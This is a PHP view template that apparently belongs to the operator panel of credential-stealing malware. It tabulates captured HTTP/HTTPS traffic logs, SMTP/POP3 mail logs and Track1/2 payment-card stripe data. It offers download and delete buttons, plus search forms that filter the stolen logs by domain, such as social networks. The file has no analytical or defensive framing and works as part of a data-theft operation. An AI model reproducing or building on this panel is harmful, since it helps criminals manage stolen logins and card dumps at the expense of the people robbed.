<?php if(!defined('ACCESS_CONTROL')) {header($_SERVER['SERVER_PROTOCOL']. ' 404'); exit('404 not found');}?>
<center>
        <table class="table table-small table-condensed table-bordered" style="width: 50%">
            <thead>
            <tr>
                <th><center>Logs type</center></th>
				<th><center>Logs count</center></th>
				<th><center>Total size</center></th>
                <th><center>Actions</center></th>
            </tr>
            </thead>
                <tbody>
                    <tr>
                        <td><center>Total HTTP / HTTPS Logs</center></td>
                        <td><center><?php echo($stath['co'])?></center></td>
						<td><center><?php echo($stath['sz'])?></center></td>
						<td><center><a <?php if($stath['co']!="0") echo 'href="?do=logs&action=dhttp"'; ?> ><img src="public/images/d.gif"></a>  
						<a <?php if($stath['co']!="0") echo 'class="remote-button" data-remote-url="?do=logs&action=delhttp" data-method="get" data-confirm="delete?" '; ?>><img src="public/images/del.gif"></a>  
						<a <?php if($stath['co']!="0") echo 'onclick="view_c()"'; ?>><img src="public/images/i.gif"></a></center></td>
                    </tr>
                    <tr>
                        <td><center>Total SMTP / POP3 Logs</center></td>
                        <td><center><?php echo($stats['co'])?></center></td>
						<td><center><?php echo($stats['sz'])?></center></td>
						<td><center><a <?php if($stats['co']!="0") echo 'href="?do=logs&action=dpop"'; ?> ><img src="public/images/d.gif"></a>  
						<a <?php if($stats['co']!="0") echo 'class="remote-button" data-remote-url="?do=logs&action=delpop" data-method="get" data-confirm="delete?"'; ?> ><img src="public/images/del.gif"></a>  
						<a <?php if($stats['co']!="0") echo 'onclick="view_t()"'; ?>><img src="public/images/i.gif"></a></center></td>
                    </tr>
					<tr>
                        <td><center>Total Track1/2 Logs</center></td>
                        <td><center><?php echo($statt['co'])?></center></td>
						<td><center><?php echo($statt['sz'])?></center></td>
						<td><center><a <?php if($statt['co']!="0") echo 'href="?do=logs&action=dtracks"'; ?> ><img src="public/images/d.gif"></a>  
						<a <?php if($statt['co']!="0") echo 'class="remote-button" data-remote-url="?do=logs&action=deltracks" data-method="get" data-confirm="delete?"'; ?> ><img src="public/images/del.gif"></a></td>
                    </tr>
                </tbody>
        </table>
		
		<div id="b1">
            <form class="form-group-sm form-horizontal" action="?do=logs&action=shttp" method="post" enctype="multipart/form-data">
              <table class="table table-small table-condensed table-bordered" style="width: 50%">
            <thead>
            <tr>
                <th colspan="2"><center>Search (<em>delimiter ",", e.q.: "facebook,twitter,etc"</em>)</center></th>
            </tr>
            </thead>
                <tbody>
                    <tr>
                        <td>Include domains:</td>
                        <td><input type="text" class="form-control" name="http_incd" value=""></td>
                    <tr>
                        <td>Exclude domains:</td>
                        <td><input type="text" class="form-control" name="http_excd" value=""></td>
                    </tr>
					<tr>
                        <td>Search text:</td>
                        <td><input type="text" class="form-control" name="http_text" value=""></td>
                    </tr>
					<tr>
                        <td colspan="2"><center><input name="submit" type="submit" value="Search" /></center></td>
                    </tr>
                </tbody>
        </table>
            </form>
        </div>
		
		<div style="display:none" id="b2">
            <form class="form-group-sm form-horizontal" action="?do=logs&action=spop" method="post" enctype="multipart/form-data">
              <table class="table table-small table-condensed table-bordered" style="width: 50%">
            <thead>
            <tr>
                <th colspan="2"><center>Search (<em>delimiter ",", e.q.: "facebook,twitter,etc"</em>)</center></th>
            </tr>
            </thead>
                <tbody>
                    <tr>
                        <td>Include domains:</td>
                        <td><input type="text" class="form-control" name="pop_incd" value=""></td>
                    <tr>
                        <td>Exclude domains:</td>
                        <td><input type="text" class="form-control" name="pop_excd" value=""></td>
                    </tr>
					<tr>
                        <td>Search text:</td>
                        <td><input type="text" class="form-control" name="pop_text" value=""></td>
                    </tr>
					<tr>
                        <td colspan="2"><center><input name="submit" type="submit" value="Search" /></center></td>
                    </tr>
                </tbody>
        </table>
            </form>
        </div>
</center>	
<script type='text/javascript'>
function view_c(){
  var e = document.getElementById('b1').style.display;
  var f = document.getElementById('b2').style.display;
  if( e == 'none' ){
 		document.getElementById('b1').style.display = 'block';	
		document.getElementById('b2').style.display = 'none';
	}
	else {
	document.getElementById('b1').style.display = 'none';
	   }
}
function view_t(){
  var e = document.getElementById('b2').style.display;
  var f = document.getElementById('b1').style.display;
  if( e == 'none' ){
 		document.getElementById('b2').style.display = 'block';	
		document.getElementById('b1').style.display = 'none';
	}
	else {
	document.getElementById('b2').style.display = 'none';
	   }
}
</script>	
